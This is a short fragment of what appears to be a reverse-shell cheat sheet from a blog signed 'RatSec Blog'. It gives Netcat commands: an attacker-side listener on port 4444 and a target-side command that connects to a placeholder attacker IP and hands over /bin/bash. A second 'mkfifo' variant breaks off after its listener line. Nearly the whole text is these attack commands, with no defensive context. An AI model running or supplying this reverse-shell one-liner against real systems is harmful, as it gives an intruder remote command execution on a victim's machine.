Using Netcat Netcat Simple Shell:
On the attacker's machine: nc -lvp 4444 On the target machine: nc <attacker_IP> 4444 -e /bin/bash Netcat with mkfifo:
On the attacker's machine: nc -lvp 4444
RatSec Blog